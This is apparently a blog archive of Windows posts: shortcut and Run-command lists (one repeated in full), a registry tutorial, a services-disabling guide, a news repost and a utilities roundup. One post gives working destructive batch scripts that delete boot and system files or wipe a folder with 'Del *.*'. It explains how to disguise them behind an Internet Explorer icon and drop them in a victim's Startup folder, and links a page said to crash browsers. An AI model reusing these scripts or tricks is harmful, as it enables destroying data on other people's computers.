Archive for the ‘XP’ Category

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Download the PDF cheat sheet >Caintech.co.uk Windows Shortcuts You Should All Know To Save Time

 

Windows Explorer Keyboard Shortcuts

* END (Display the bottom of the active window)

* HOME (Display the top of the active window)

* NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)

* NUM LOCK+Plus sign (+) (Display the contents of the selected folder)

* NUM LOCK+Minus sign (-) (Collapse the selected folder)

* LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)

* RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)

 

Shortcut Keys for Character Map

* After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:

* RIGHT ARROW (Move to the right or to the beginning of the next line)

* LEFT ARROW (Move to the left or to the end of the previous line)

* UP ARROW (Move up one row)

* DOWN ARROW (Move down one row)

* PAGE UP (Move up one screen at a time)

* PAGE DOWN (Move down one screen at a time)

* HOME (Move to the beginning of the line)

* END (Move to the end of the line)

* CTRL+HOME (Move to the first character)

* CTRL+END (Move to the last character)

* SPACEBAR (Switch between Enlarged and Nor mal mode when a character is selected)

 

Microsoft Management Console (MMC) Main Window Keyboard Shortcuts

* CTRL+O (Open a saved console)

* CTRL+N (Open a new console)

* CTRL+S (Save the open console)

* CTRL+M (Add or remove a console item)

* CTRL+W (Open a new window)

* F5 key (Update the content of all console windows)

* ALT+SPACEBAR (Display the MMC window menu)

* ALT+F4 (Close the console)

* ALT+A (Display the Action menu)

* ALT+V (Display the View menu)

* ALT+F (Display the File menu)

* ALT+O (Display the Favourites menu)

 

MMC Console Window Keyboard Shortcuts

* CTRL+P (Print the current page or active pane)

* ALT+Minus sign (-) (Display the window menu for the active console window)

* SHIFT+F10 (Display the Action shortcut menu for the selected item)

* F1 key (Open the Help topic, if any, for the selected item)

* F5 key (Update the content of all console windows)

* CTRL+F10 (Maximize the active console window)

* CTRL+F5 (Restore the active console window)

* ALT+ENTER (Display the Properties dialog box, if any, for the selected item)

* F2 key (Rename the selected item)

* CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)

 

Remote Desktop Connection Navigation

* CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)

* ALT+PAGE UP (Switch between programs from left to right)

* ALT+PAGE DOWN (Switch between programs from right to left)

* ALT+INSERT (Cycle through the programs in most recently used order)

* ALT+HOME (Display the Start menu)

* CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)

* ALT+DELETE (Display the Windows menu)

* CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)

* CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)

 

Internet Explorer navigation

* CTRL+B (Open the Organize Favourites dialog box)

* CTRL+E (Open the Search bar)

* CTRL+F (Start the Find utility)

* CTRL+H (Open the History bar)

* CTRL+I (Open the Favourites bar)

* CTRL+L (Open the Open dialog box)

* CTRL+N (Start another instance of the browser with the same Web address)

* CTRL+O (Open the Open dialog box, the same as CTRL+L)

* CTRL+P (Open the Print dialog box)

* CTRL+R (Update the current Web page)

* CTRL+W (Close the current window)

tv crime2

Now as you read this post you may think to yourself that you would like to try these scripts, well I will warn you again ‘Never Try These Hacks On Your Computer’. The safest way to try these is in a virtual machine, I recommend VMware player or VirtualBox, both are free for personal use.

We will be creating some batch files so you will need to ‘Show hidden files, folders and drives’ also untick the box ‘Hide extensions for known file types’

To do this type ‘folder options’ into the windows search bar  and you’ll be presented with the following dialog box.

folder options

 

 1) Crash A Computer With A Simple Link

This is a simple java script called “exploit”. This script can hang or crash your computer. This script just floods you up with the infinite number mailto:xxx windows. To prevent this you need to end the process of script before it runs out of your RAM. This can only be done by rebooting your computer before it fully utilizes your RAM.

WARNING THIS LINK WILL CRASH YOUR BROWSER OR WORSE, YOUR COMPUTER !!!!

 Click Here. (http://tiny.cc/ibJUN)

 2) Make Countless Number Of Folders With A Single Click

A simple 3 line code can be very dangerous and also quite funny. So paste the below code in notepad and save it as IE.bat

@echo off

:top

md %random%

goto top

@echo off > this command makes your screen appears blank but actually making the countless number of folders in the background

Md %random% > md %random% is a command for creating folders with random names. ( md is a command in dos for making directories)

Goto top > goto top is a command for to send the control to :top causing an infinite loop.

To make this more enticing drop the batch file on the C drive and create a shortcut on the desktop. Now right click on the shortcut and select ‘Properties’

Now select ‘Change Icon’ and browse to C:\Program Files\Internet Explorer\iexplore.exe

This has now given you an Internet Explorer icon that will execute the malicious batch file, delete the original IE icon from the desktop.

 

3) Shut Down Your PC For Ever

This is the most malicious hack, this will delete ALL system files and will stop the victims PC from booting.

To perform this copy the below text to a text file and save it as ‘Shutdown.bat’

You can always do the same as the above hack and copy it to the victims PC and send a shortcut to the desktop.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

DON’T RUN THE BATCH FILE, YOU WONT BE ABLE TO RECOVER AFTER YOU RUN IT!!!

 4) RAM Crashing Trick.

Open notepad and type the following codes

:A

Start http://www.facebook.com

Goto A

save the file as facebook.bat

 This code will infinitely loop the browser to open http://www.facebook.com

5) Delete ALL System Files With Just 6 Character Command

Copy the following command in your notepad and save it as facebook.bat

Del *.*

So when the victim runs this file all the data will be deleted.

If you have access to the victims PC you can drop any of these batch files in a folder called ‘Start up’ this will then run when the user restarts their machine.

C:\Users\VICTIMS NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

These are for educational purposes only, please do not use this information for malicious purposes. Caintech.co.uk take no responsibility for the actions of any individuals however feedback would be most appreciated.

 

tv-IE9

THE UK GOVERNMENT has shown it’s at the forefront of modern technology and online services with its latest form for claiming benefits online.

Those who want to claim Attendance Allowance, Disability Living Allowance or Overseas State Pension can simply visit the Gov.UK website, where they are then pointed to the Department of Work and Pensions (DWP) website to fill out a form online.

So far, so impressive, in that the government is allowing citizens to apply for benefits over the web, rather than having to fill out forms and send them in via the post or visit offices in person.

However, it seems that many of those claimants could fall at the first hurdle due to some rather outdated stipulations about the computer systems supported by the DWP.

“This service doesn’t work with some modern browsers and operating systems,” the DWP notes. “We are considering how best to provide this service in future. You may want to claim in another way.”

That is putting it mildly. Normally, we’d take the time to go through these system requirements and highlight only the most interesting points, but in this case we’ve decided to make an exception and post them here in their full glory, as we couldn’t word them better than the DWP.

“The service does not work properly with Macs or other Unix-based systems even though you may be able to input information.

“You are likely to have problems if you use Internet Explorer 7, 8, 9 and 10, Windows Vista or a smartphone. Clearing temporary internet files may help but you may wish to claim in another way.

“There is also a high risk that if you use browsers not listed below, including Chrome, Safari or Firefox, the service will not display all the questions you need to answer. This is likely to prevent you from successfully completing or submitting the form. You may wish to claim in another way.”

And now on to the much more restricted list of what your computer needs to be running if you actually want to claim a benefit online.

“The service was designed to work with the following operating systems and browsers. Many of these are no longer available:

  • Microsoft Windows 98: Internet Explorer versions 5.0.1, 5.5 and 6.0, Netscape 7.2
  • Microsoft Windows ME: Internet Explorer version 5.5 and 6.0, Netscape 7.2
  • Microsoft Windows 2000: Internet Explorer version 5.0.1, 5.5 and 6.0, Netscape 7.2, Firefox 1.0.3, Mozilla 1.7.7
  • Microsoft Windows XP: Internet Explorer 6.0, Netscape 7.2, Firefox 1.0.3, Mozilla 1.7.7.”

For the few of you out there wanting to claim benefits online who manage to dig out some old Windows machine from a basement or loft running an old enough version of IE or Firefox, there are further obstacles to getting any money out of the government.

“This service is not available on Monday, Wednesday and Friday mornings from 1.00am to 1.30am because of essential maintenance work. We apologise for any inconvenience,” warns the DWP.

Perhaps that’s when their hamsters change shifts – you know, the ones that run inside wheels keeping government IT systems up and running.

We often speculate here at The INQUIRER that the government favours proprietary systems, and doesn’t do enough to open up bid tenders to smaller suppliers and open source outfits. On the basis of the above evidence, we’re concerned that the government is taking its mission to extremes.

Caintech.co.uk Please Note: Please ensure that you Back-up your Registry before attempting to modify it in anyway just in case you make a mistake. Here’s how:

  1. Depending on your version of Windows, do one of the following:
    • For Windows XP: Click Start > Run.
    • For Windows 7 or Vista: Click the Start button, and then click All Programs > Accessories > Run.
  2. In the Run dialog box, type the following text:

    regedit

  3. Click OK.

    If the User Account Control window appears, click Continue.

  4. On the File menu, click Export.
  5. In the File name box, type a name that you will remember, such as Registry Backup.
  6. Select a location where you want to save the Registration Entries (.reg) file, I suggest your desktop.
  7. Click Save.

Ok now that has been done lets get into the real technical stuff.

Changing the Default Installation Path in Windows 7 isn’t all that difficult, we all know that our Default Installation Path is C:\Program Files but if you want to change this to another Drive so that will become the Default Path for all new program Installations you can with a few clicks in the registry editor.

Ok for X64 Version User’s this simply Copy and Paste the following into the Run Box

%systemroot%\syswow64\regedit

For X32 Version User’s Go to Start and in the Search Box type in Regedit and Hit Enter to Open the Registry Editor

Now the Registry Editor will open

  • Ok now locate the following:- HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion

Now you will see that I have marked out the ProgramFilesDir for the X32 Version and ProgramW6432Dir the X64 Version and the reason for this you will need to change both if you are running a X64 Version.

So, If you have the X32 Version of Windows then choose the ProgramFileDir x86 path by Right Clicking and then Selecting Modify.

Then simply change the Drive Letter and Path to where you want to Install your Programs then Click OK

  • For X32 Version user’s, that it for you all done!

So, If you have the X64 Version of Windows then choose and Modify both ProgramFileDir x86 and ProgramW6432Dir path by Right Clicking and then Selecting Modify.

Then simply change the Drive Letter and Path to where you want to Install your Programs then Click OK

Now if you have messed it up and when you reboot your machine you get errors, a simple way to revert back to the previous version of the registry is to:

Reboot the machine  keep tapping F8 this will take you into ‘Safe Mode’

When the desktop boots double click on the .reg file you made earlier in this tutorial and when prompted with a warnig (as below) press ‘Yes’

Reboot and now you are back to how your registry was before you started (now print this tutorial out and try again)

 

Every day I hear the words “My machine is running slow, can you help” (not always that polite). But never the less the answer is always ‘Yes’.

People understand that running disk clean up and defragging their machine will help keep their machine up to speed. But one thing that users are a bit apprehensive about  (and quite rightly so) is turning off Windows services in the fear that they will break something, so here is a list of safe services to turn off and how to do it.

Disable unnecessary Windows services to free up CPU and RAM usage, speed up boot and start up time. This procedure is very easy, just follow my steps correctly.

Click start, run, and type “services.msc”. And the services window will show up.

Now you are on the services page, just double click the service you want to disable and this window will show up. (Don’t worry keep reading there is a list of services soon)

Now here is the list of Windows services that are safe to disable.

  • Application Experience
  • Block Level Backup Engine Service
  • Certificate Propagation
  • IP Helper
  • Portable Device Enumerator Service
  • Distributed Link Tracking Client
  • Protected Storage
  • Portable Device Enumerator Service
  • Secondary Logon
  • Software Protection
  • Server
  • Tablet PC Input Service
  • TCP/IP NetBIOS Helper
  • Windows Media Center Service Launcher
  • Windows Search
  • Remote Registry
  • Windows Time

Windows services that are safe to disable if…

  • Desktop Windows Manager Session Manager (if you are on a Netbook)
  • Diagnostic Policy Service (if you don’t use the troubleshooter)
  • Error Reporting Service
  • HomeGroup Listener (No Homegroup sharing)
  • HomeGroup Provider (No HomeGroup sharing)
  • Offline files
  • Print Spooler (if you don have a printer)
  • SSDP Discovery (No HomeGroup sharing)
  • Themes ( if you are on a Netbook)
  • Windows Defender (If you have an Antivirus installed)
  • Windows Firewall (Firewall installed)
  • Windows Image Acquisition (if you don’t have any imaging devices ie., camera, scanners)
  • Windows Media Player Network Sharing Services (No Homegroup sharing)

Disabling unwanted Windows services will eventually speed up your PC, prevent application crashes, frees up RAM and lowers CPU congestion.

While you are doing this if you see services you are not sure of just drop a request in the comments bellow and I’ll tell you if it is safe to disable.

 

Microsoft DOS is a command line user interface first introduced in 1981 for IBM computers and was last updated in 1994 when MS-DOS 6.22 was released. Although MS-DOS is not commonly used today, the command shell used through Microsoft Windows is. This post contains some most used and wanted windows Dos Commands and as any power user will tell you they are the quickest way to open programs. Also as this is quite a long list post that you may want to review later, I have created a PDF to download> Power User DOS Commands for XP Vista and Windows 7

Control Panel

  • CONTROL: opens the control panel window
  • CONTROL ADMINTOOLS: opens the administrative tools
  • CONTROL KEYBOARD: opens keyboard properties
  • CONTROL COLOUR: opens display properties. Appearance tab
  • CONTROL FOLDERS: opens folder options
  • CONTROL FONTS: opens font policy management
  • CONTROL INTERNATIONAL or INTL.CPL: opens Regional and Language option
  • CONTROL MOUSE or MAIN.CPL: opens mouse properties
  • CONTROL USERPASSWORDS: opens User Accounts editor
  • CONTROL USERPASSWORDS2 or NETPLWIZ: User account access restrictions
  • CONTROL PRINTERS: opens faxes and printers available
  • APPWIZ.CPL: opens Add or Remove programs utility tool
  • OPTIONALFEATURES: opens Add or Remove Windows component utility
  • DESK.CPL: opens display properties. Themes tab
  • HDWWIZ.CPL: opens add hardware wizard
  • IRPROPS.CPL: infrared utility tool
  • JOY.CP: opens game controllers settings
  • MMSYS.CPL: opens Sound and Audio device Properties. Volume tab
  • SYSDM.CPL: opens System properties
  • TELEPHON.CPL: Opens phone and Modem options
  • TIMEDATE.CPL: Date and Time properties
  • WSCUI.CPL: opens Windows Security Centre
  • ACCESS.CPL: opens Accessibility Options
  • WUAUCPL.CPL: opens Automatic Updates
  • POWERCFG.CPL: opens Power Options Properties
  • AZMAN.MSC: opens authorisation management utility tool
  • CERTMGR.MSC: opens certificate management tool
  • COMPMGMT.MSC: opens the Computer management tool
  • COMEXP.MSC or DCOMCNFG: opens the Computer Services management tool
  • DEVMGMT.MSC: opens Device Manager
  • EVENTVWR or EVENTVWR.MSC: opens Event Viewer
  • FSMGMT.MSC: opens Shared Folders
  • NAPCLCFG.MSC: NAP Client configuration utility tool
  • SERVICES.MSC: opens Service manager
  • TASKSCHD.MSC or CONTROL SCHEDTASKS: opens Schedule Tasks manager
  • GPEDIT.MSC: opens Group Policy utility tool
  • LUSRMGR.MSC: opens Local Users and Groups
  • SECPOL.MSC: opens local security settings
  • CIADV.MSC: opens indexing service
  • NTMSMGR.MSC: removable storage manager
  • NTMSOPRQ.MSC: removable storage operator requests
  • WMIMGMT.MSC: opens (WMI) Window Management Instrumentation
  • PERFMON or PERFMON.MSC: opens the Performance monitor
  • MMC: opens empty Console
  • MDSCHED: opens memory diagnostics tools
  • DXDIAG: opens DirectX diagnostics tools
  • ODBCAD32: opens ODBC Data source Administrator
  • REGEDIT or REGEDT32: opens Registry Editor
  • DRWTSN32: opens Dr. Watson (XP not supported in Vista or Windows 7)
  • VERIFIER: opens Driver Verifier Manager
  • CLICONFG: opens SQL Server Client Network Utility
  • UTILMAN: opens Utility Manager
  • COLORCPL: opens colour management
  • CREDWIZ: back-up and recovery tool for user passwords
  • MOBSYNC: opens Synchronization centre
  • MSCONFIG: opens System Configuration Utility
  • SYSEDIT: opens System Configuration Editor (careful while using this command)
  • SYSKEY: Windows Account Database Security management (careful while using this command)

Windows utility and applications

  • EXPLORER: Opens windows Explorer
  • IEXPLORER: Opens Internet explorer
  • WAB: opens Contacts
  • CHARMAP: opens Character Map
  • WRITE: opens WordPad
  • NOTEPAD: opens Notepad
  • CALC: opens Calculator
  • CLIPBRD: opens Clipbook Viewer
  • WINCHAT: opens Microsoft Chat Interface
  • SOUNDRECORDER: opens sound recording tool
  • DVDPLAY: run CD or DVD
  • WMPLAYER: opens Windows Media Player
  • MOVIEMK: Opens untitled Windows Movie Maker
  • OSK: opens on-screen Keyboard
  • MAGNIFY: opens Magnifier
  • WINCAL: opens Calendar
  • DIALER: opens phone Dialler
  • EUDCEDIT: opens Private Character Editor
  • NDVOL: opens the mixer volume
  • %WINDIR%\SYSTEM32\RESTORE\rstrui.exe: opens Tool System Restore (for XP only).
  • MSINFO32: Opens the System Information
  • MRT : launches the utility removal of malware.
  • Taskmgr : Opens the Windows Task Manager
  • CMD: opens a command prompt
  • MIGWIZ: Opens the tool for transferring files and settings from Windows (Windows 7/Vista only)
  • Migwiz.exe: Opens the tool for transferring files and settings from Windows (for XP only)
  • Sigverif : Opens the tool for verification of signatures of files
  • Winver : Opens the window for your Windows version
  • FSQUIRT: Bluetooth Transfer Wizard
  • IExpress opens the wizard for creating self-extracting archives. Tutorial HERE
  • MBLCTR: opens the mobility centre (Windows 7/Vista only)
  • MSRA : Opens the Windows Remote Assistance
  • Mstsc : opens the tool connection Remote Desktop
  • MSDT: opens the diagnostic tools and support Microsoft
  • WERCON: opens the reporting tool and solutions to problems (for Vista only)
  • WINDOWSANYTIMEUPGRADE: Enables the upgrade of Windows Vista
  • WINWORD : opens Word (if installed)
  • RSTRUI : opens Tool System Restore (Windows 7/Vista only)
  • PRINTBRMUI : Opens migration wizard printer (Windows 7/Vista only)

Disk management

  • DISKMGMT.MSC: opens disk management utility
  • CLEANMGR: opens disk drive clean up utility
  • DFRG.MSC: opens disk defragmenter
  • CHKDSK: complete analysis of disk partition
  • DISKPART: disk partitioning tool

Connection management

  • IPCONFIG: list the configuration of IP addresses on your PC (for more information type IPCONFIG/? in the CMD menu)
  • INETCPL.CPL: opens internet properties
  • FIREWALL.CPL: opens windows firewall
  • NETSETUP.CPL: opens network setup wizard

Miscellaneous commands

  • JAVAWS: View the cover of JAVA software (if installed)
  • AC3FILTER.CPL: Opens the properties AC3 Filter (if installed)
  • FIREFOX: Mozilla launches Firefox (if installed)
  • NETPROJ: allow or not connecting to a network projector (Windows 7/Vista only)
  • LOGOFF: closes the current session
  • SHUTDOWN: shut down Windows
  • SHUTDOWN-A: to interrupt Windows shutdown
  • %WINDIR% or %SYSTEMROOT%: opens the Windows installation
  • %PROGRAMFILES%: Opens the folder where you installed other programs (Program Files)
  • %USERPROFILE%: opens the profile of the user currently logged
  • %HOMEDRIVE%: opens the browser on the partition or the operating system is installed
  • %HOMEPATH%: opens the currently logged user C: \ Documents and Settings \ [username]
  • %TEMP%: opens the temporary folder
  • VSP1CLN: deletes the cache for installation of the service pack 1 for Vista
  • System File Checker (Requires Windows CD if the cache is not available):
    • SFC / scannow: immediately scans all system files and repairs damaged files
    • SFC / VERIFYONLY: scans only those files system
    • SFC / Scanfil = “name and file path”: scans the specified file, and repaired if damaged
    • SFC / VERIFYFILE = “name and file path”: Scans only the file specified
    • SFC / scanonce: scans the system files on the next restart
    • SFC / REVERT: return the initial configuration (For more information, type SFC /? In the command prompt CMD.

Control Panel

  • CONTROL: opens the control panel window
  • CONTROL ADMINTOOLS: opens the administrative tools
  • CONTROL KEYBOARD: opens keyboard properties
  • CONTROL COLOUR: opens display properties. Appearance tab
  • CONTROL FOLDERS: opens folder options
  • CONTROL FONTS: opens font policy management
  • CONTROL INTERNATIONAL or INTL.CPL: opens Regional and Language option
  • CONTROL MOUSE or MAIN.CPL: opens mouse properties
  • CONTROL USERPASSWORDS: opens User Accounts editor
  • CONTROL USERPASSWORDS2 or NETPLWIZ: User account access restrictions
  • CONTROL PRINTERS: opens faxes and printers available
  • APPWIZ.CPL: opens Add or Remove programs utility tool
  • OPTIONALFEATURES: opens Add or Remove Windows component utility
  • DESK.CPL: opens display properties. Themes tab
  • HDWWIZ.CPL: opens add hardware wizard
  • IRPROPS.CPL: infrared utility tool
  • JOY.CP: opens game controllers settings
  • MMSYS.CPL: opens Sound and Audio device Properties. Volume tab
  • SYSDM.CPL: opens System properties
  • TELEPHON.CPL: Opens phone and Modem options
  • TIMEDATE.CPL: Date and Time properties
  • WSCUI.CPL: opens Windows Security Centre
  • ACCESS.CPL: opens Accessibility Options
  • WUAUCPL.CPL: opens Automatic Updates
  • POWERCFG.CPL: opens Power Options Properties
  • AZMAN.MSC: opens authorisation management utility tool
  • CERTMGR.MSC: opens certificate management tool
  • COMPMGMT.MSC: opens the Computer management tool
  • COMEXP.MSC or DCOMCNFG: opens the Computer Services management tool
  • DEVMGMT.MSC: opens Device Manager
  • EVENTVWR or EVENTVWR.MSC: opens Event Viewer
  • FSMGMT.MSC: opens Shared Folders
  • NAPCLCFG.MSC: NAP Client configuration utility tool
  • SERVICES.MSC: opens Service manager
  • TASKSCHD.MSC or CONTROL SCHEDTASKS: opens Schedule Tasks manager
  • GPEDIT.MSC: opens Group Policy utility tool
  • LUSRMGR.MSC: opens Local Users and Groups
  • SECPOL.MSC: opens local security settings
  • CIADV.MSC: opens indexing service
  • NTMSMGR.MSC: removable storage manager
  • NTMSOPRQ.MSC: removable storage operator requests
  • WMIMGMT.MSC: opens (WMI) Window Management Instrumentation
  • PERFMON or PERFMON.MSC: opens the Performance monitor
  • MMC: opens empty Console
  • MDSCHED: opens memory diagnostics tools
  • DXDIAG: opens DirectX diagnostics tools
  • ODBCAD32: opens ODBC Data source Administrator
  • REGEDIT or REGEDT32: opens Registry Editor
  • DRWTSN32: opens Dr. Watson (XP not supported in Vista or Windows 7)
  • VERIFIER: opens Driver Verifier Manager
  • CLICONFG: opens SQL Server Client Network Utility
  • UTILMAN: opens Utility Manager
  • COLORCPL: opens colour management
  • CREDWIZ: back-up and recovery tool for user passwords
  • MOBSYNC: opens Synchronization centre
  • MSCONFIG: opens System Configuration Utility
  • SYSEDIT: opens System Configuration Editor (careful while using this command)
  • SYSKEY: Windows Account Database Security management (careful while using this command)

Windows utility and applications

  • EXPLORER: Opens windows Explorer
  • IEXPLORER: Opens Internet explorer
  • WAB: opens Contacts
  • CHARMAP: opens Character Map
  • WRITE: opens WordPad
  • NOTEPAD: opens Notepad
  • CALC: opens Calculator
  • CLIPBRD: opens Clipbook Viewer
  • WINCHAT: opens Microsoft Chat Interface
  • SOUNDRECORDER: opens sound recording tool
  • DVDPLAY: run CD or DVD
  • WMPLAYER: opens Windows Media Player
  • MOVIEMK: Opens untitled Windows Movie Maker
  • OSK: opens on-screen Keyboard
  • MAGNIFY: opens Magnifier
  • WINCAL: opens Calendar
  • DIALER: opens phone Dialler
  • EUDCEDIT: opens Private Character Editor
  • NDVOL: opens the mixer volume
  • %WINDIR%\SYSTEM32\RESTORE\rstrui.exe: opens Tool System Restore (for XP only).
  • MSINFO32: Opens the System Information
  • MRT : launches the utility removal of malware.
  • Taskmgr : Opens the Windows Task Manager
  • CMD: opens a command prompt
  • MIGWIZ: Opens the tool for transferring files and settings from Windows (Windows 7/Vista only)
  • Migwiz.exe: Opens the tool for transferring files and settings from Windows (for XP only)
  • Sigverif : Opens the tool for verification of signatures of files
  • Winver : Opens the window for your Windows version
  • FSQUIRT: Bluetooth Transfer Wizard
  • IExpress opens the wizard for creating self-extracting archives. Tutorial HERE
  • MBLCTR: opens the mobility centre (Windows 7/Vista only)
  • MSRA : Opens the Windows Remote Assistance
  • Mstsc : opens the tool connection Remote Desktop
  • MSDT: opens the diagnostic tools and support Microsoft
  • WERCON: opens the reporting tool and solutions to problems (for Vista only)
  • WINDOWSANYTIMEUPGRADE: Enables the upgrade of Windows Vista
  • WINWORD : opens Word (if installed)
  • RSTRUI : opens Tool System Restore (Windows 7/Vista only)
  • PRINTBRMUI : Opens migration wizard printer (Windows 7/Vista only)

Disk management

  • DISKMGMT.MSC: opens disk management utility
  • CLEANMGR: opens disk drive clean up utility
  • DFRG.MSC: opens disk defragmenter
  • CHKDSK: complete analysis of disk partition
  • DISKPART: disk partitioning tool

Connection management

  • IPCONFIG: list the configuration of IP addresses on your PC (for more information type IPCONFIG/? in the CMD menu)
  • INETCPL.CPL: opens internet properties
  • FIREWALL.CPL: opens windows firewall
  • NETSETUP.CPL: opens network setup wizard

Miscellaneous commands

  • JAVAWS: View the cover of JAVA software (if installed)
  • AC3FILTER.CPL: Opens the properties AC3 Filter (if installed)
  • FIREFOX: Mozilla launches Firefox (if installed)
  • NETPROJ: allow or not connecting to a network projector (Windows 7/Vista only)
  • LOGOFF: closes the current session
  • SHUTDOWN: shut down Windows
  • SHUTDOWN-A: to interrupt Windows shutdown
  • %WINDIR% or %SYSTEMROOT%: opens the Windows installation
  • %PROGRAMFILES%: Opens the folder where you installed other programs (Program Files)
  • %USERPROFILE%: opens the profile of the user currently logged
  • %HOMEDRIVE%: opens the browser on the partition or the operating system is installed
  • %HOMEPATH%: opens the currently logged user C: \ Documents and Settings \ [username]
  • %TEMP%: opens the temporary folder
  • VSP1CLN: deletes the cache for installation of the service pack 1 for Vista
  • System File Checker (Requires Windows CD if the cache is not available):
    • SFC / scannow: immediately scans all system files and repairs damaged files
    • SFC / VERIFYONLY: scans only those files system
    • SFC / Scanfil = “name and file path”: scans the specified file, and repaired if damaged
    • SFC / VERIFYFILE = “name and file path”: Scans only the file specified
    • SFC / scanonce: scans the system files on the next restart
    • SFC / REVERT: return the initial configuration (For more information, type SFC /? In the command prompt CMD.

 

According to the latest results of the market share of desktop operating system in the U.S. in April 2011 compiled by StatCounter, you see people as they are finally leaving Windows XP back and get an upgrade to Windows 7. For the first time since he became the most popular operating system around, the share of Windows XP in the market has been superseded by Windows 7.

Windows 7 is now used in 31.71% of computers in the U.S., while Windows XP has been reduced to 31.56%. Now luck is not an advantage, but show that Windows XP has finally peaked and is on track now. Windows Vista is in third place with 19.07%, Mac OS X in fourth place with 14.87%, Linux is the last to 0.70% and other operating systems make up 2.09% number of the letter. Makes you wonder if there are users in Windows 3.1 still there. How many of you have yet to upgrade to Windows 7 from XP or Vista?



Browse the largest-ever collection of utilities to install on Windows XP and Vista (and, in some cases, even Windows 7) and you’ll find the functions you need at prices you’ll like.

Appearance

1. BumpTop
www.bumptop.com Free; Pro edition, $29
Make your Windows desktop look like a regular three-dimensional desk, complete with piles (representing files) you can toss around or flip through and walls you can stick things to. Works with Windows XP, Vista, and 7.

2. Chameleon 2
www.enlargeyournerd.com/projects/chameleon.html Free
Feel safe in your cubicle when surfing nonsense and playing time-wasting games. Chameleon quickly hides the apps you predetermine with a Ctrl-Win keystroke combo.

3. Cleandesk Organizer & Desktop Expert
www.desktopminds.com $27
Desktop Expert is a beautified and far-more-functional replacement for Windows Explorer; Cleandesk Organizer ensures your desktop space is spick-and-span, based on rules you set for systematizing icons. Try them separately for free.

4. Clicky Gone
clickygone.sourceforge.net Free
The lightweight Clicky Gone hides apps that are normally found in the taskbar when minimized, either in a menu or using the Clicky Gone icon in the system tray. It comes in a portable version for USB flash drives.

5. Kludgets
kludgets.com Free
There are lots of widget engines for Windows (from Yahoo, Google, and Microsoft itself), but the prettiest widgets are arguably on the Mac OS. You can still use them on Windows with the open-source Kludgets. It’s still in beta, but the free tool is worth a try if you’re a Machead stuck in a Windows world.

6. Minime
www.saphua.com/blog/?page_id=18 Free
Minime minimizes all windows to the system tray with a single hotkey and hides them behind a single icon, which you can then click for a menu of what’s running. Or try the PCMag.com utility TrayManager, which minimizes apps to a system tray icon and organizes them into categories.

7. Nimi Visuals
www.mynimi.net Free
This portable app (no installation required, just run the EXE file) gives Windows visual effects that are similar to those found on the Mac OS or the Linux add-on Compiz, including better transparency, sparkles, blurred backgrounds, and more. Nimi Visuals is fun, albeit frivolous, and best run on very fast systems.

8. ObjectDesktop
www.stardock.com $39.95; Ultimate edition, $69.95
Give XP or Vista a whole new look. This collection includes WindowBlinds for new skins, DesktopX for building widgets, DeskScape animated wallpaper, and more; the Ultimate version throws in tools like ObjectBar, for customizing your desktop, and TweakVista, which does just what it says.

9. Open++
www.freewebs.com/dengdun/en/openxx.htm Free
Right-click a file in Windows and you’ll seen an “Open” option; install Open++ and you’ll have options to open a file in any way you can think of. Customize it to the nth degree.

10. QTTabBar
qttabbar.wikidot.com Free
Did you fall in love with tabs in your Web browser? Add the feature to Windows Explorer and fall in love all over again.

11. ResizeEnable
www.digitallis.co.uk/pc/downloads.html Free
If you hate not being able to resize a window (such as a browser pop-up), save your anger. With this utility, you can make sure that never happens again.

12. SpecialFoldersView
www.nirsoft.net/utils/special_folders_view.html Free
Get a closer look at all the special folders Windows usually hides. You’ll see them all in one place; double-click in the list to open the hidden directory of your choice.

13. TaggedFrog
lunarfrog.com/taggedfrog/ Free
Everything online is tagged with keywords these days, and your files under XP and Vista can be as well. TaggedFrog makes it a little easier to tag files, documents, and Web links using drag-and-drop.

14. Taskbar Shuffle
nerdcave.webs.com Free
Portable and simple, Taskbar Shuffle lets you do one thing: move around the buttons for open applications found on the Windows taskbar.

15. TrayIt!
www.teamcti.com/trayit/trayit.htm Free
This lightweight, portable app lets you dispense with the taskbar altogether by installing a system tray that lists the programs running on your PC; that’s where you’ll access them when they’re minimized, rather than the taskbar.

16. UBitMenu
www.ubit.ch/software/ubitmenu-languages/ Free; $13.50 for businesses
Do you love Microsoft Office 2007, but hate the ribbon interface that replaced the menus of yore? UBitMenu puts the drop-downs back in Word, Excel, and PowerPoint, just as they appeared in Office 2003. Switch back and forth between menus and ribbon whenever you want.

17. Vista Start Menu
www.vistastartmenu.com Free; Pro edition, $19.99
Vastly improve the look of the Start Menu in Windows, and get faster access to just about all aspects of the OS, with this replacement menu tool. It’s also accessible from the system tray.

18. Vista Transformation Pack
www.windowsxlive.net Free
Transform the look of XP to that of Vista (or Windows 7 using the Seven Transformation Pack) without upgrading. This utility adjusts the boot screen, log-in screen, icons, toolbar icons, and even progress dialog boxes.

19. WinRoll
www.palma.com.au/winroll/ Free
Right-click the title bar of any window and you can roll the window inside it, and do the same to all open windows at the same time.

20. Winsupermaximize
code.google.com/p/winsupermaximize/ Free
With a quick keystroke of Win-F11, this utility makes the current window go full-screen, discarding the title bar at top to give you even more real estate to play with. (Missing title bars will come back, don’t worry.)

Backup/Sync

21. BackUp Maker
www.ascomp.de/index.php?php=prog&prog=backupmaker Free
BackUp Maker’s simple interface might make all the difference for average users saving their data. It sends files to another drive (including USB drives), a CD/DVD, or an FTP site. It also handles file restoration if you lose something. BackUp Maker’s simple interface might make all the difference for average users saving their data. It sends files to another drive (including USB drives), a CD/DVD, or an FTP site. It also handles file restoration if you lose something. Works with Windows 7.

22. Acronis True Image Home 2009
www.acronis.com $49.99
